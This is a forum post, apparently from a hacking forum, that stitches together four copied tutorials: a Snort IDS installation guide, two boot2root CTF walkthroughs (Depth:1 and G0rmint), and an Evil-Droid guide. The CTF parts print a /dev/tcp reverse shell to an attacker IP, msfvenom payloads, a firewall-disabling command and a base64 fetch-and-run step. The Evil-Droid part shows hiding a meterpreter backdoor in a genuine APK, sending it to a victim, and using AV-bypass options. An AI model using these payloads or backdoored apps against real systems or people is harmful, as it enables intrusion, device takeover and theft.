Login

**NINZA** · 05-14-2020, 05:32 AM

0			0

Hello friends! As you people must be aware of various types of security issues facing by IT sector originations daily. There are so many types of firewall and IDS or third-party software available to shoot out major different types of security issues in the network.
In this article, you will learn how to configure the famous “SNORT as IDS” of IT sector originations which work as a real-time machine.
Snort is software created by Martin Roesch, which is widely used as Intrusion Prevention System [IPS] and Intrusion Detection System [IDS] in the network. It is separated into the five most important mechanisms for instance: Detection engine, Logging, and alerting system, a Packet decoder, Preprocessor, and Output modules.
The program is quite famous to carry out real-time traffic analysis, also used to detect query or attacks, packet logging on Internet Protocol networks, to detect malicious activity, denial of service attacks and port scans by monitoring network traffic, buffer overflows, server message block probes, and stealth port scans.
Snort can be configured in three main modes:

Sniffer mode: it will observe network packets and present them on the console.
Packet logger mode: it will record packets to the disk.
Intrusion detection mode: the program will monitor network traffic and analyze it against a rule set defined by the user.

After that, the application will execute a precise action depend upon what has been identified.
Let’s Begin!!
Snort Installation
We had chosen the ubuntu 14.04 operating system for installation and configuration of snort. Earlier than installing snort in your machine, you should need to install the necessary dependencies of ubuntu. Therefore open the terminal and type given below command to install pre-requisites:
sudo apt-get install -y build-essential libpcap-dev libpcre3-dev libdumbnet-dev bison flex zlib1g-dev
1
sudo apt-get install -y build-essential libpcap-dev libpcre3-dev libdumbnet-dev bison flex zlib1g-dev

Now create a folder to download snort and its dependencies package inside. Type given below commands to create a folder “snort-src” and move inside it to download DAQ-2.0.6
mkdir ~/snort_src && cd ~/snort_src
1
mkdir ~/snort_src && cd ~/snort_src

wget

[To see content please register here]

1
wget

[To see content please register here]

Snort need to set up the DAQ, or Data Acquisition library, for packet I/O. The DAQ change direct calls into lib pcap functions with an abstraction layer that facilitates operation on a variety of hardware and software interfaces without requiring changes to Snort. It is possible to select the DAQ type and mode when invoking Snort to perform pcap read back or inline operation, etc. The DAQ library may be useful for other packet processing applications and the modular nature allows you to build new modules for other platforms.
From given below image you can confirm that we had successfully downloaded daq-2.0.6 tar file.
[Image: 2.png?w=687&ssl=1]

Now execute given below command to extract tar file.
tar xvfz daq-2.0.6.tar.gz
1
tar xvfz daq-2.0.6.tar.gz
[Image: 3.png?w=687&ssl=1]

Move inside the daq-2.0.6 folder by executing given below the first command and then execute the second command for automatic installation and configuration.
cd daq-2.0.6
./configure && make && sudo make install
1
2
cd daq-2.0.6
./configure && make && sudo make install
Till here you had learned how to install daq-2.0.6 for snort.

Now again move into snort-src folder and type given below command to download the latest version of snort-2.9.11
wget

[To see content please register here]

1
wget

[To see content please register here]

From given below image you can confirm that we had successfully downloaded snort-2.9.11 tar file.
[Image: 5.png?w=687&ssl=1]

Now execute given below command to extract tar file.
tar xvfz snort-2.9.11.tar.gz
1
tar xvfz snort-2.9.11.tar.gz

Move inside the snort-2.9.11 folder by executing given below the first command and then execute the second command for automatic installation and configuration.
cd snort-2.9.11
./configure --enable-sourcefire && make && sudo make install
1
2
cd snort-2.9.11
./configure --enable-sourcefire && make && sudo make install
[Image: 7.png?w=687&ssl=1]

Run the following command to manage and install shared libraries
sudo ldconfig
1
sudo ldconfig
Type given below command for generating a symbolic link
sudo ln -s /usr/local/bin/snort /usr/sbin/snort
1
sudo ln -s /usr/local/bin/snort /usr/sbin/snort
A symbolic link also known as a soft link is a file system entry that points to the file name and location. Deleting the symbolic link does not remove the original file. If, on the other hand, the file to which the soft link point is removed, the soft link stops working, it is broken.
[Image: 8.png?w=687&ssl=1]

Now execute given below command that snort to verify itself by testing its installation and configuration.
snort -V
1
snort -V
The first part of snort installation finished here
[Image: 9.png?w=687&ssl=1]

Configure Snort to in IDS Mode in Network
Execute given below command to create the snort user and group, where snort will run as an unprivileged user.
sudo groupadd snort
sudo useradd snort -r -s /sbin/nologin -c SNORT_IDS -g snort
1
2
sudo groupadd snort
sudo useradd snort -r -s /sbin/nologin -c SNORT_IDS -g snort
Above command will create a group as “snort” and add a member “snort” into it.
[Image: 10.png?w=687&ssl=1]

Now further we need to make some directories which Snort suppose at the timing of running in IDS mode in the network. Snort stores configuration files in /etc/snort; rules in /etc/snort/rules; store compile rules in /usr/local/lib/snort_dynamicrules, and stores its logs in /var/log/snort:
Type given below command to create the Snort directories:
sudo mkdir /etc/snort
sudo mkdir /etc/snort/rules
sudo mkdir /etc/snort/rules/iplists
sudo mkdir /etc/snort/preproc_rules
sudo mkdir /usr/local/lib/snort_dynamicrules
sudo mkdir /etc/snort/so_rules
1
2
3
4
5
6
sudo mkdir /etc/snort
sudo mkdir /etc/snort/rules
sudo mkdir /etc/snort/rules/iplists
sudo mkdir /etc/snort/preproc_rules
sudo mkdir /usr/local/lib/snort_dynamicrules
sudo mkdir /etc/snort/so_rules
[Image: 11.png?w=687&ssl=1]

Type given below command to create some files that stores rules and ip lists
sudo touch /etc/snort/rules/iplists/black_list.rules
sudo touch /etc/snort/rules/iplists/white_list.rules
sudo touch /etc/snort/rules/local.rules
sudo touch /etc/snort/sid-msg.map
1
2
3
4
sudo touch /etc/snort/rules/iplists/black_list.rules
sudo touch /etc/snort/rules/iplists/white_list.rules
sudo touch /etc/snort/rules/local.rules
sudo touch /etc/snort/sid-msg.map
[Image: 12.png?w=687&ssl=1]

Type given below command to create our logging directories:
sudo mkdir /var/log/snort
sudo mkdir /var/log/snort/archived_logs
1
2
sudo mkdir /var/log/snort
sudo mkdir /var/log/snort/archived_logs
[Image: 13.png?w=687&ssl=1]

Type given below command to adjust permissions:
sudo chmod -R 5775 /etc/snort
sudo chmod -R 5775 /var/log/snort
sudo chmod -R 5775 /var/log/snort/archived_logs
sudo chmod -R 5775 /etc/snort/so_rules
sudo chmod -R 5775 /usr/local/lib/snort_dynamicrules
1
2
3
4
5
sudo chmod -R 5775 /etc/snort
sudo chmod -R 5775 /var/log/snort
sudo chmod -R 5775 /var/log/snort/archived_logs
sudo chmod -R 5775 /etc/snort/so_rules
sudo chmod -R 5775 /usr/local/lib/snort_dynamicrules
[Image: 14.png?w=687&ssl=1]

Snort required some configuration files and the dynamic preprocessors to be copied from the Snort source folder into the /etc/snort folder, therefore, execute given below command for that.
cd snort_src/snort-2.9.11/etc/
sudo cp *.conf* /etc/snort
sudo cp *.map /etc/snort
sudo cp *.dtd /etc/snort
1
2
3
4
cd snort_src/snort-2.9.11/etc/
sudo cp *.conf* /etc/snort
sudo cp *.map /etc/snort
sudo cp *.dtd /etc/snort
[Image: 15.png?w=687&ssl=1]

cd snort_src/snort-2.9.11/src/dynamic-preprocessors/build/usr/local/lib/snort_dynamicpreprocessor/
sudo cp * /usr/local/lib/snort_dynamicpreprocessor/
1
2
cd snort_src/snort-2.9.11/src/dynamic-preprocessors/build/usr/local/lib/snort_dynamicpreprocessor/
sudo cp * /usr/local/lib/snort_dynamicpreprocessor/
[Image: 16.png?w=687&ssl=1]

Editing snort configuration file
Now we need to comment out all rulesets with the following command:
sudo sed -i "s/include \$RULE\_PATH/#include \$RULE\_PATH/" /etc/snort/snort.conf
1
sudo sed -i "s/include \$RULE\_PATH/#include \$RULE\_PATH/" /etc/snort/snort.conf
After then open the configuration file using gedit for making some changes inside.
sudo gedit /etc/snort/snort.conf
1
sudo gedit /etc/snort/snort.conf
[Image: 17.png?w=687&ssl=1]

Scroll down the text file near line number 45 to specify your network for protection as shown in the given image.
#Setup the network addresses you are protecting
ipvar HOME_NET 192.168.1.1/24
1
ipvar HOME_NET 192.168.1.1/24
[Image: 18.png?w=687&ssl=1]

Now again scroll down near line number 108 to set the path of your rule file which you had created above for storing snort rules, as shown in given below image.
var RULE_PATH /etc/snort/rules
var SO_RULE_PATH /etc/snort/so_rules
var PREPROC_RULE_PATH /etc/snort/preproc_rules
var WHITE_LIST_PATH /etc/snort/rules/iplists
var BLACK_LIST_PATH /etc/snort/rules/iplists
1
2
3
4
5
var RULE_PATH /etc/snort/rules
var SO_RULE_PATH /etc/snort/so_rules
var PREPROC_RULE_PATH /etc/snort/preproc_rules
var WHITE_LIST_PATH /etc/snort/rules/iplists
var BLACK_LIST_PATH /etc/snort/rules/iplists
[Image: 19.png?w=687&ssl=1]

One more time scroll down the text near line number 546 to uncomment highlighted text.
include $RULE_PATH/local.rules
Save the file and close it once all the editing is done in the snort configuration file.
[Image: 20.png?w=687&ssl=1]

Now once again we need to verify its configuration setting, therefore, execute the following command to test it.
sudo snort -T -i eth0 -c /etc/snort/snort.conf
1
sudo snort -T -i eth0 -c /etc/snort/snort.conf
Now it will compile the complete file and test the configuration setting automatically as shown in given below image:
[Image: 21.png?w=687&ssl=1]

Great!! We had successfully configured snort as IDS for protecting our network.
[Image: 22.png?w=687&ssl=1]

Today we are going to take on a simple boot2root style VM challenge “Depth:1” by ‘Dan Lawson’. Here we have to root the server to complete the challenge.
Download it from

[To see content please register here]

Difficulty: Intermediate
Penetrating Methodology
Scanning

Netdiscover
NMAP

Enumeration

Web Directory search
Credential harvesting

Exploiting

Disable firewall through ssh
Payload execution

Privilege Escalation

Exploit sudo rights

Capture the Flag
Walkthrough
Scanning
Let’s start off by scanning the network and identifying host IPs. We can identify our host IP as 192.168.1.101 with the help of netdiscover. Next, port enumeration using nmap aggressive scan shows that port 8080 is open and is running http service of Apache Tomcat/Coyote JSP engine 1.1.
netdiscover
nmap -A 192.168.1.101
1
2
netdiscover
nmap -A 192.168.1.101
[Image: 1.png?w=687]

Enumeration
We opened the IP into browser with port 8080. This gives a bit of useful information exposing the default Apache Tomcat’s directories.
[Image: 2.png?w=687]

Next, we are extracting the directories of jsp extension over the target, for that we can use the -X parameter of the dirb scan. Nikto result too shows the same file as you can see in the following screenshot:
dirb //192.168.1.101:8080/ -X .jsp
nikto -h //192.168.1.101:8080/
1
2
dirb //192.168.1.101:8080/ -X .jsp
nikto -h //192.168.1.101:8080/
[Image: 3.png?w=687]

While opening the file in the browser shows a file list checker script as a hint, which is supposed to list directories from the server upon request.
[Image: 4.png?w=687]

Upon executing the given script “ls-l/temp”, we can see user root and tomcat8 is there.
[Image: 5.png?w=687]

After trying few more scripts we get success by using ‘ls-l/home’ as it shows us a user name bill.
[Image: 6.png?w=687]

Here trying to find out running processes with “ps aux “, the options “aux” prints all the running process in the system regardless of where they have been executed. And we find out that sshd service is in use but maybe with restricted access.
[Image: 7.png?w=687]

Exploiting
let’s try to disable the firewall through ssh using user bill and it gets executed.
ssh bill@localhost sudo ufw disable
1
ssh bill@localhost sudo ufw disable
After that to gain reverse shell we first setup our netcat listener on port 1234 which you can see in the last screenshot.
Then we are using bash reverse shell to gain access on host 192.168.1.110 on port 1234.
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.110 lport=1234 R
1
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.110 lport=1234 R
[Image: 12.png?w=687]

Copy the payload generated and execute it with ssh.
ssh bill@localhost 0<&46-;exec 46<>/dev/tcp/192.168.1.110/1234;sh <&46 >&46 2>&46
1
ssh bill@localhost 0<&46-;exec 46<>/dev/tcp/192.168.1.110/1234;sh <&46 >&46 2>&46
[Image: 13.png?w=687]

Privilege Escalation and Capturing the flag
As soon as we execute the payload, we get our reverse shell, now we just check sudo rights for the bill and find that he has all permissions as well as he can login without any password. Great! Now we just have to login and get into root folder. Here we get a file called flag.
Lastly, we open the flag file and capture the flag.
nc -lvp 1234
sudo -l
sudo su
cd /root
ls
cat flag
1
2
3
4
5
6
nc -lvp 1234
sudo -l
sudo su
cd /root
ls
cat flag
[Image: 14.png?w=687]

Hello friends! Today we are going to take another CTF challenge known as G0rmint. The credit for making this vm machine goes to “Noman Riffat” and it is another boot2root challenge where we have to root the server to complete the challenge. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.1.134 but you will have to find your own)
netdiscover
[Image: 1.png?w=687&ssl=1]

Use nmap for port enumeration.
nmap 192.168.1.134
[Image: 2.png?w=687&ssl=1]

Nmap scan shows us port 80 is open, so we open the ip address in our browser.
We don’t find any page. So we use dirb to find the directories for more information.
dirb

[To see content please register here]

We open robots.txt and find a directory called /g0rmint/.
[Image: 4.png?w=687&ssl=1]

When we open the directory we find a login page.
[Image: 5.png?w=687&ssl=1]

We take a look at the source code for more information.
[Image: 6.png?w=687&ssl=1]

When we take a look at the source code we find a backup directory called s3cretbackupdirectory/ We use dirb to enumerate files or pages in that directory.
dirb

[To see content please register here]

We find a page called info.php when we open it we find a file name backup.zip.
[Image: 7.2.png?w=687&ssl=1]

We download the file for further information.
[Image: 7.png?w=687&ssl=1]

We extract the zip file and find that the file contains the source code for the webpage.
[Image: 8.png?w=687&ssl=1]

Now we take look inside style.css and we look at the name of the author.
cat style.css | grep Author
[Image: 10.png?w=687&ssl=1]

We use these details as username and email for reset password.
[Image: 11.png?w=687&ssl=1]

We now take a look at reset.php file.
[Image: 12.1.png?w=687&ssl=1]

We find that the new password is based on the time we reset our password. We create a php file that generates a password based on the time displayed on the page.
[Image: 12.png?w=687&ssl=1]

Now we generate the password using our php script.
[Image: 13.1.png?w=687&ssl=1]

We go to the login page and use the email we find in the css file and use the password we just generated to login.
[Image: 13.png?w=687&ssl=1]

Now that we are authorized we take a look at the log file. In the config.php we find that the logs are stored in s3r3t-dir3ct0ry-f0r-l0gs/ directory in the file name format yy-mm-dd.php
[Image: 14.png?w=687&ssl=1]

Now we use the current date to open the log file.
[Image: 15.png?w=687&ssl=1]

Now we use upload basic php shell through email address. We put base64 decode so that we can bypass input firewall.
[Image: 16.png?w=687&ssl=1]

Now we convert our commands to base64, then we use those base64 encoded string to execute our command in the server.
[Image: 17.png?w=687&ssl=1]

When we execute our command the server runs it and we are able to see the files in that directory of the server.
[Image: 18.png?w=687&ssl=1]

Now we create an elf shell with msfvenom.
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.116 lport=4444 -f elf > /var/www/html/shell
To upload our shell, we convert our commands to base64.
echo ‘wget

[To see content please register here]

; chmod +x shell; ./shell’ | base64
[Image: 19.png?w=687&ssl=1]

Now we setup our listener using metasploit.
msf > use multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.116
msf exploit(handler) > set lport 4444
msf exploit(handler) > run
Now when we execute our command we get our reverse_shell
[Image: 20.png?w=687&ssl=1]

Now going through the files in the /var/www folder we find a file called backup.zip. when we try to extract it we find that it can be only extracted in tmp folder so we extract the zip file in /tmp/ folder.
unzip backup.zip -d /var/tmp
[Image: 21.1.png?w=687&ssl=1]

After extracting the zip file, we take a look inside the folder we extracted the files we find a sql file.
[Image: 21.png?w=687&ssl=1]

When we open the file we find a md5 encode password for the user g0rmint.
cat /var/tmp/db.sql | grep noman
[Image: 22.png?w=687&ssl=1]

Then we when we decrypt our md5 encode hash we find a password ‘tayyab123’.
[Image: 23.png?w=687&ssl=1]

We use this to connect through ssh.
ssh [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
Register or Login
After connecting through ssh we use this password to gain root access.
When we get root access we go to root folder inside the root folder we get a file called flag.txt. when we open the file we get a congratulatory message for the completion of VM.
[Image: 24.png?w=687&ssl=1]

Hello friends! Today you will learn how to generate apk payload with help of “Evil-Droid”. It is the tool used to compromise any android deceive for attacking point, we are using it only for educational purpose.
Evil-Droid is a framework that creates & generates & embed apk payload to penetrate Android platforms.
Requirement:
Attacker: Kali Linux
Target: Android
Lets Begin !!
Open the terminal in your Kali Linux and execute given below command to download it from git hub.
git clone

[To see content please register here]

1
git clone

[To see content please register here]

Now open the downloaded folder in terminal and type given below command to give all permission to the script “evil-droid”
chmod 777 evil-droid
1
chmod 777 evil-droid
[Image: 2.png?w=687&ssl=1]

Now execute given below command to run the script and lunch the evil-droid application.
./evil-droid
1
./evil-droid
[Image: 3.png?w=687&ssl=1]

When you will execute above command evil-droid will start as shown in given below image. Here it will start from testing internet connection and its dependencies from available kali Linux tool by its own.
[Image: 4.png?w=687&ssl=1]

Then a prompt will pop up to confirm the Evil droid framework requirement, here select option “yes”.
[Image: 5.png?w=687&ssl=1]

Now Evil droid framework will get open to hack remote android platform by executing given below options.
[1] APK MSF
[2] BACKDOOR APK ORIGINAL (OLD)
[3] BACKDOOR APK ORIGINAL (NEW)
[4] BYPASS AV APK (ICON CHANGE)
[5] START LISTENER
[c] CLEAN
[q] QUIT
[?] Select
From given below image you can perceive that we had chosen the option as “BACKDOOR APK ORIGINAL”
[Image: 6.png?w=687&ssl=1]

After that again a prompt will pop up in order to set LHOST [attacker’s IP] for reverse connection. Enter your Kali Linux IP in the given text field as shown in given below image.
[Image: 7.png?w=687&ssl=1]

After that again a prompt will pop up in order to set LPORT for reverse connection as shown in given below image.
[Image: 8.png?w=687&ssl=1]

In next prompt enter payload name, you want to give to your apk payload as shown in given below image. Here I had given baidu-broswer name to my payload.
[Image: 9.png?w=687&ssl=1]

Now when everything is set by an attacker for generating an apk payload, at last, he will get a list for payload option to choose the type of payload he wants to generate as shown in given below image.
Here I had selected “android/meterpreter/reverse_tcp” as payload.
[Image: 10.png?w=687&ssl=1]

Now download any original apk file from Google in order to hide your payload in that file. Here I had downloaded baidu.apk to hide my baidu-browser payload inside it; you can download any other apk file of your choice.
[Image: 11.png?w=687&ssl=1]

This will now generate a malicious baidu.apk by hiding our backdoor inside it as shown in the given below image. Now copy this malicious apk from given path /root/Evil-Droid/evilapk/baidu-browser.apk and send it to the victim.
[Image: 12.png?w=687&ssl=1]

On another hand another prompt will pop up to choose the following option:

Multi-Handler
Attack-vector
Main menu
Exit

From given below image you can observe that I had chosen “multi handler” for reverse connection of victims system.
[Image: 13.png?w=687&ssl=1]

Now it will lunch multi-handler and start reverse TCP handler on attacker machine as shown in given below image. As soon as the victim will download and run the malicious baidu.apk, the attacker will get unauthorized access of his deceive on his machine.
[Image: 14.png?w=687&ssl=1]

Great!! From given below image you can observe meterpreter session 1 is opened
meterpreter> sysinfo
1
meterpreter> sysinfo
[Image: 15.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis